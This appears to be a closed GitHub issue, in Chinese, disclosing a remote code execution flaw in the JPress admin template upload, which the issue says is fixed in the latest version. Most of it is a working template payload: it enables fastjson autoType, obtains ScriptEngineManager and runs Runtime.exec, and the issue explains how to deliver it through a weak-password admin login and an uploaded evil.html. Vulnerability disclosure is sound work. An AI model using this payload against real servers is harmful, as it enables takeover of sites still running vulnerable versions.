Closed Er1cccc closed 2 years ago
jpress后台存在模板上传功能,不过存在些许过滤,我们使用fastjson来辅助获取ScriptEngineManager,然后执行任意js代码,就可以实现rce,payload如下
ScriptEngineManager
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}')) #set(e=x.getEngineByName("js")) #(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))
弱密码进入后台,修改上传evil.html
访问http://localhost/evil,可以看到计算器弹出,漏洞验证成功
在 jpress 最新版本中已解决。
审计过程
jpress后台存在模板上传功能,不过存在些许过滤,我们使用fastjson来辅助获取
ScriptEngineManager
,然后执行任意js代码,就可以实现rce,payload如下效果演示
弱密码进入后台,修改上传evil.html
访问http://localhost/evil,可以看到计算器弹出,漏洞验证成功